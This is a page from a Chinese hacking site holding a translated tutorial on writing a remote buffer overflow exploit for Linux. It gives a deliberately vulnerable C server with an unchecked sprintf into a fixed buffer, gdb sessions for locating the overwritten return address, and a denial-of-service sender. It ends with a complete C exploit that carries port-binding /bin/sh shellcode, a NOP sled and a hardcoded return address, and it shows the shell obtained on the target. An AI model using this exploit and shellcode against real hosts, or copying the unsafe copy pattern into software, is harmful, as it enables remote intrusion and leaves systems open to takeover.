| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 品黑页 | 软件 | 论坛 | 动画 | 视频 | 经典 | 教学站 | 黑客点睛 | 
服务导航 我要发布 主力频道 空间域名 精华收集 服务器出租 黑客培训 光盘刻录 特色服务 解决方案 我要投诉
您现在的位置: 华夏黑客同盟 >> 编程 >> C语言 >> 正文 用户登录 新用户注册
如何编写远程溢出EXPLOIT Linux版       ★★★ 【字体:
如何编写远程溢出EXPLOIT Linux版
作者:无敌最寂… 文章来源:邪恶八进制信息安全团队 点击数: 更新时间:2005-6-11
译者注:想必很多朋友都对缓冲区溢出非常了解了,网上也有很多关于windows下的缓冲区溢出漏洞的利用教程(本人也写过几篇)。但是linux下的完整溢出教程我还未看到过(也许是本人眼拙吧)。今天在国外的一个论坛发现这篇文章,感觉此文是一个非常不错的基础教程,因此决定翻译出来供大家鉴赏,自己也算是锻炼一下英语翻译吧:-)(其实我是在看完整篇文章后,根据自己的理解写的,几乎一点翻译都没有)

译文:
阅读此文前,我假设大家都会用c写一些基本的socket程序而且对本地溢出有所了解。OK!我们先写一个有漏洞服务端程序,代码如下:
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>

#define BUFFER_SIZE 1024
#define NAME_SIZE 2048

int handling(int c)

{
char buffer[BUFFER_SIZE], name[NAME_SIZE];
int bytes;
strcpy(buffer, "My name is: ");
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
bytes = recv(c, name, sizeof(name), 0);
if (bytes == -1)
return -1;
name[bytes - 1] = '\0';
sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);//没有做边界检查就直接将name数组copy至buffer数组
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
return 0;

}

int main(int argc, char *argv[])

{
int s, c, cli_size;
struct sockaddr_in srv, cli;
if (argc != 2)
{
fprintf(stderr, "usage: %s port\n", argv[0]);
return 1;
}
s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1)
{
perror("socket() failed");
return 2;
}
srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons( (unsigned short int) atol(argv[1]));
srv.sin_family = AF_INET;
if (bind(s, &srv, sizeof(srv)) == -1)
{
perror("bind() failed");
return 3;
}
if (listen(s, 3) == -1)
{
perror("listen() failed");
return 4;
}
for(;;)
{
c = accept(s, &cli, &cli_size);
if (c == -1)
{
perror("accept() failed");
return 5;
}
printf("client from %s", inet_ntoa(cli.sin_addr));
if (handling(c) == -1)
fprintf(stderr, "%s: handling() failed", argv[0]);
close(c);
}
return 0;

}

程序非常简单,由命令行获得端口参数,然后在指定的端口监听连接。如下编译和调用此程序:

user@linux:~/ > gcc vulnerable.c -o vulnerable

user@linux:~/ > ./vulnerable 8080

下面我想检查一下这个程序的一些地址,看看它是如何构建的。我们用gdb来调试:

user@linux~/ > gdb vulnerable

GNU gdb 4.18

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-suse-linux"...

(gdb) run 8080

Starting program: /home/user/directory/vulnerable 8080

现在程序已经乖乖的在8080端口监听连接了,接着我们用telnet或者netcat连接8080端口看看:

user@linux:~/ > telnet localhost 8080

Trying ::1...

telnet: connect to address ::1: Connection refused

Trying 127.0.0.1...

Connected to localhost.

Escape character is '^]'.

My name is: Robin

, nice to meet you!

Connection closed by foreign host.

user@linux:~/ >

这个简单的服务端程序只是简单的获得名字然后再将名字回显到屏幕上,让我们继续吧!

如上操作后,gdb调试器窗口会有如下信息输出:

client from 127.0.0.1 0xbffff28c

/*不要因为这个地址在你的机器上不同而感到困惑, 因为在我的机器上是这个地址: 0xbffff28c */

让我们开始测试吧,重新telnet 到8080端口然后在"My name is:..."提示后输入超过1024个字节的字符:

user@linux:~/ > telnet localhost 8080

Trying ::1...

telnet: connect to address ::1: Connection refused

Trying 127.0.0.1...

Connected to localhost.

Escape character is '^]'.

My name is:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

这时你会发现,连接中断了!让我们看看gdb的输出吧:

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb)

// 不要关闭gdb

正如我们所看到的,eip的值被置成了0x41414141, 或许你会问为什么?让我试着解释一下吧:
当我们输入了超过1024个字节的字符后,程序会试图将name[2048]拷贝至buffer[1024](译者注:注意看上面原程序中我加注释的那行)这时由于name[2048]比buffer[1024]大出了1024个字节,因此多出的那些个字节会覆盖到buffer[1024]以外的缓冲区包括保存的eip的值(这是函数调用时压入堆栈的返回地址),我们的buffer就会像如下这样:

[xxxxxxxx-name-2048-bytes-xxxxxxxxxx]

[xxxxx buffer-only-1024-bytes xxx] [EIP]

// 别忘了,eip是4个字节的值
当函数返回时,会从堆栈中将先前保存的eip的值弹出到eip寄存器中并跳转到这个地址继续执行。然而由于我们已经将保存的eip覆盖成了0x41414141,所以程序就会跳到一个错误的地址执行从而引起“segmentation fault”的错误。

到这里,我们就可以写出这个漏洞的D.O.S版本的利用程序了:
#include <stdio.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netdb.h>

int main(int argc, char **argv)

{

struct sockaddr_in addr;

struct hostent *host;

char buffer[2048];

int s, i;

if(argc != 3)

{

fprintf(stderr, "usage: %s <host> <port>\n", argv[0]);

exit(0);

}

s = socket(AF_INET, SOCK_STREAM, 0);

if(s == -1)

{

perror("socket() failed\n");

exit(0);

}

host = gethostbyname(argv[1]);

if( host == NULL)

{

herror("gethostbyname() failed");

exit(0);

}

addr.sin_addr = *(struct in_addr*)host->h_addr;

addr.sin_family = AF_INET;

addr.sin_port = htons(atol(argv[2]));

if(connect(s, &addr, sizeof(addr)) == -1)

{

perror("couldn't connect so server\n");

exit(0);

}

/* Not difficult only filling buffer with A’s.... den sending nothing more */

for(i = 0; i < 2048 ; i++)

buffer[i] = 'A';

printf("buffer is: %s\n", buffer);

printf("buffer filled... now sending buffer\n");

send(s, buffer, strlen(buffer), 0);

printf("buffer sent.\n");

close(s);

return 0;

}
为了进一步利用这个漏洞,我们需要找出返回地址的位置。让我们看看如何利用gdb找出返回地址的位置:

接着上面的gdb调试窗口(我希望你没关掉它),输入:x200bx $esp-200 ,得到如下的结果:

(gdb) x/200bx $esp-200

0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

---Type <return> to continue, or q <return> to quit---
我们知道我们已经覆盖了整个缓冲区,那么我们从中挑出一个地址来作为返回地址(一会再告诉你为什么这么做),其实这个地址我们是猜的。或许你知道NOP的技巧,这个技巧可以使我们的exploit更好的工作,也可以使我们更容易猜出返回地址来。需要注意的是不要从离快要结束的0x41的那行附近挑,要从中间挑这样我们一会要用NOPS来覆盖它,我们这里挑的是0xbffff5ec这个地址。

译者注:这个地方作者并没有很好的说明为什么这么做。其实道理很简单,就拿0xbffff5ec这个地址来说吧,作者将这个地址开始的缓冲区覆盖为NOPS(NOPS滑块),然后再在构造的缓冲区的最后以0xbffff5ec覆盖一块缓冲区,那么肯定会有一个0xbffff5ec覆盖到eip,那么当函数返回时就会跳到0xbffff5ec处执行,而这个地方都是NOP指令,因此会顺着NOPS滑块“滑”到我们的shellcode中。
构造的缓冲区如下所示:

|NOPS|NOPS|NOPS|……|shellcode|RET|RET|……|RET|

好了我们可以利用我们挑出的这个返回地址(虽然这个地址不一定准确)来构造我们的exploit代码了:

1. 找一个主动连接型的shellcode(现如今网络上不缺shellcode)。

2.声明一个大于1024字节的新缓冲区,比如1064字节,只要能覆盖到eip即可。

3. 用NOP来填充这个缓冲区:memset(buffer, 0x90, 1064);

4. 复制shellcode到缓冲区中:memcpy(buffer+1001-sizeof(shellcode), shellcode, sizeof(shellcode));在这里我们将shellcode放到了缓冲区的中间位置,为什么要这么做呢?如果在缓冲区的开始部分有足够的NOP指令填充,那么我们shellcode获得执行的机会就更大些了。

5. buffer[1000] = 0x90; // 0x90就是NOP的16进制形式

6. Let's copy the returnaddress at the end of the buffer
复制返回地址到缓冲区的结尾:
for(i = 1022; i < 1059; i+=4)

{

((int *) &buffer) = RET;

// RET就是返回地址,用#define定义过的

}
我们知道,缓冲区是以1024字节结束的,那我们从1022开始复制返回地址,一直复制到1059个字节的位置。

7. 在我们构造的这个缓冲区的最后以一个'\0'结束:buffer[1063] = 0x0;

缓冲区构造完成,下面就是发送到漏洞主机上了。exploit代码如下:
/* Simple remote exploit, which binds a shell on port 3789

* by triton

*

* After return address was overwritten, you can connect

* with telnet or netcat to the victim host on Port 3789

* After you logged in... there’s nothing, but try to enter "id;" (don’t forget the semicolon)

* So you should get an output, ok you’ve got a shell *g*. Always use:

*

* <command>;

*

* execute.

*/

#include <stdio.h>

#include <netdb.h>

#include <netinet/in.h>

//Portbinding Shellcode

char shellcode[] =

"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"

"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"

"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"

"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"

"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"

"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"

"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"

"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

//standard offset (probably must be modified)

#define RET 0xbffff5ec

int main(int argc, char *argv[]) {

char buffer[1064];

int s, i, size;

struct sockaddr_in remote;

struct hostent *host;

if(argc != 3) {

printf("Usage: %s target-ip port\n", argv[0]);

return -1;

}

// filling buffer with NOPs

memset(buffer, 0x90, 1064);

//copying shellcode into buffer

memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode));

// the previous statement causes a unintential Nullbyte at buffer[1000]

buffer[1000] = 0x90;

// Copying the return address multiple times at the end of the buffer...

for(i=1022; i < 1059; i+=4) {

* ((int *) &buffer[i]) = RET;

}

buffer[1063] = 0x0;

//getting hostname

host=gethostbyname(argv[1]);

if (host==NULL)

{

fprintf(stderr, "Unknown Host %s\n",argv[1]);

return -1;

}

// creating socket...

s = socket(AF_INET, SOCK_STREAM, 0);

if (s < 0)

{

fprintf(stderr, "Error: Socket\n");

return -1;

}

//state Protocolfamily , then converting the hostname or IP address, and getting port number

remote.sin_family = AF_INET;

remote.sin_addr = *((struct in_addr *)host->h_addr);

remote.sin_port = htons(atoi(argv[2]));

// connecting with destination host

if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1)

{

close(s);

fprintf(stderr, "Error: connect\n");

return -1;

}

//sending exploit string

size = send(s, buffer, sizeof(buffer), 0);

if (size==-1)

{

close(s);

fprintf(stderr, "sending data failed\n");

return -1;

}

// closing socket

close(s);

}

编译测试结果如下:

user@linux~/ > gcc exploit.c –o exploit

user@linux~/ > ./exploit <host> 3879

如果成功溢出的话,我们会得到一个shell在3879端口:

user@linux~/ > telnet <host> 3879

id

uid=500(user) gid=500(user) groups=500(user)

正如你所看到的,我们成功了!

译者注:文章到这里就算完成了,需要注意的是由于文中的exploit中的返回地址是硬编码进去的,所以在不同的机器上有可能因为地址不同而溢出失败。所以大家需要自己手工用gdb调试。这是非常基础的溢出文章了,以后有机会我再搞些更深入一点的溢出文章和大家分享。
责任编辑:华夏总编辑  联系方式  Email:华夏总编辑
电话:51228163
  • 上一篇编程:

  • 下一篇编程:
  • (只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    姓 名:
    * 游客填写  ·注册用户
    主 页:
    评 分:
    1分 2分 3分 4分 5分
    评论内容:
    验证码: *
  • 请遵守《互联网电子公告服务管理规定》及中华人民共和国其他各项有关法律法规。
  • 严禁发表危害国家安全、损害国家利益、破坏民族团结、破坏国家宗教政策、破坏社会稳定、侮辱、诽谤、教唆、淫秽等内容的评论 。
  • 用户需对自己在使用本站服务过程中的行为承担法律责任(直接或间接导致的)。
  • 本站管理员有权保留或删除评论内容。
  • 评论内容只代表网友个人观点,与本网站立场无关。
  • 最新hack更新
    最新推荐资讯
    相关编程
    编写高级JavaScript代码
    编RealPlayer木马思路
    溢出利用程序大杂烩
    动手编写简单远程控制
    VB编写的QQ自动登录器
    溢出利用程序和编程语言大杂烩
    利用VB编写破坏性木马
    ipsecpol的规则脚本编写
    利用VB编写破坏性木马
    VB编写标准CGI程序下
    最新会员软件
    最新推荐视频
    最新推荐动画

    Copyright @ 2005 77169.Net Inc. All rights reserved. 华夏黑客同盟 版权所有
    北京市电信通提供网络带宽

    mailto:webmaster@77169.net
    咨询QQ号:836982 / 59280880
    联系站长 QQ38588913
    热线电话: 86-10-67634029/676229433
    京ICP证041431号